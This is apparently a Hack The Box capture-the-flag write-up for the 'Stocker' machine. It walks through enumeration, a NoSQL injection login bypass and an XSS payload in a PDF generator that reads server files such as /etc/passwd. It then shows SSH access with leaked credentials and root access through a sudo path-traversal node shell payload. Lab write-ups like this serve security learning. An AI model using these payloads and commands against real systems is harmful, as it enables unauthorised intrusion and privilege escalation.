Stocker Writeup
26 June 2023 #CTF #HTB #box #easy #linuxEnumeration
nmap
scans are never out of stock:
$ sudo nmap -sCV -oN enum/initial.nmap 10.10.11.196
[...]
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d12971d86bc161683608f4f06e6d54e (RSA)
| 256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_ 256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
SSH
We can use the ssh banner to fingerprint the OS version. In our case, we learn that the box is running Ubuntu 20.04 (Focal) and the OpenSSH package was published in May 2022.
HTTP
Going to the website, we get a static page:
At the bottom of the page, we find a potential username:
There are no actual links on this page so let's try to find other pages with gobuster
:
$ gobuster dir -u http://stocker.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,html -o enum/root.dir
/css (Status: 301) [Size: 178] [--> http://stocker.htb/css/]
/index.html (Status: 200) [Size: 15463]
/js (Status: 301) [Size: 178] [--> http://stocker.htb/js/]
/img (Status: 301) [Size: 178] [--> http://stocker.htb/img/]
/. (Status: 200) [Size: 15463]
/fonts (Status: 301) [Size: 178] [--> http://stocker.htb/fonts/]
It looks like there is absolutely nothing here...
Since we are redirected to http://stocker.htb
we can try to find virtual hosts:
$ ffuf -u http://10.10.11.196/ -H 'Host: FUZZ.stocker.htb' -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.10.11.196
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.stocker.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
dev [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 195ms]
:: Progress: [100000/100000] :: Job [1/1] :: 347 req/sec :: Duration: [0:09:58] :: Errors: 0 ::
dev.stocker.htb
This time, we get a login page:
Trying common passwords like admin:admin, admin:password leads us nowhere.
Foothold
NoSQL Injection
Using curl
to check the headers reveals the app is built with Express:
$ curl dev.stocker.htb -I
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 10 Apr 2023 10:56:31 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 28
Connection: keep-alive
X-Powered-By: Express
Location: /login
Vary: Accept
Set-Cookie: connect.sid=s%3AVqwBJwfWZXIgwbey4lrXL7NO2CbCJg__.SSy8auPJgzWYsTYZOl2XoW%2FDA7AuSda6cbeAPy0tzb4; Path=/; HttpOnly
The 'connect.sid' cookie is another indicator that the web app is using NodeJS.
NodeJS (not only) apps sometime use MongoDB, which is a NoSQL database. We can test a few payloads to check if it's vulnerable to NoSQL injection:
Instead of putting a string in the 'username' and 'password' fields, we put an object which contains the special operator $ne
. This operator return True if the value compared against our input is not equal. Essentially, the query looks like this:
SELECT * FROM users WHERE username != "asdf" AND password != "asdf"
It's not actually using this SQL query, but you get the idea.
XSS in PDF creator
Now that we're logged in, we have access to this shop:
We can add items to the basket, view it and submit purchase:
After submitting the purchase, we get a link to the purchase order as a PDF:
Let's intercept the request in Burp:
The 'title', 'price' and 'amount' fields are displayed on the PDF.
We can put an XSS payload in the 'title' to read files on the server:
"<img src=x onerror=\"document.write('<iframe height=100% width=100% src=file:///etc/passwd></iframe>')\">"
This payload was found here.
Go to the orderId found in the response:
Nice, it worked.
We can find the MongoDB creds in /var/www/dev/index.js
:
We can SSH in with angoose:IHeardPassphrasesArePrettySecure
(the username is displayed on the purchase order + on stocker.htb
(at the bottom)).
$ ssh angoose@10.10.11.196
angoose@10.10.11.196's password:
angoose@stocker:~$ id
uid=1001(angoose) gid=1001(angoose) groups=1001(angoose)
Privesc
Our user can run sudo:
angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
We can run any javascript file in /usr/local/scripts
with node
.
The way we can exploit this is by using directory traversal to crawl up the file system and execute any file we want.
angoose@stocker:~$ ls /usr/local/scripts/../../../home/angoose
user.txt
First, we'll create a simple nodejs payload to execute bash
:
require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})
Then, we'll use directory traversal to execute our shell:
angoose@stocker:~$ sudo node /usr/local/scripts/../../../tmp/getroot.js
Key Takeaways
- Try several payloads for NoSQL injection
- PDF generator -> try XSS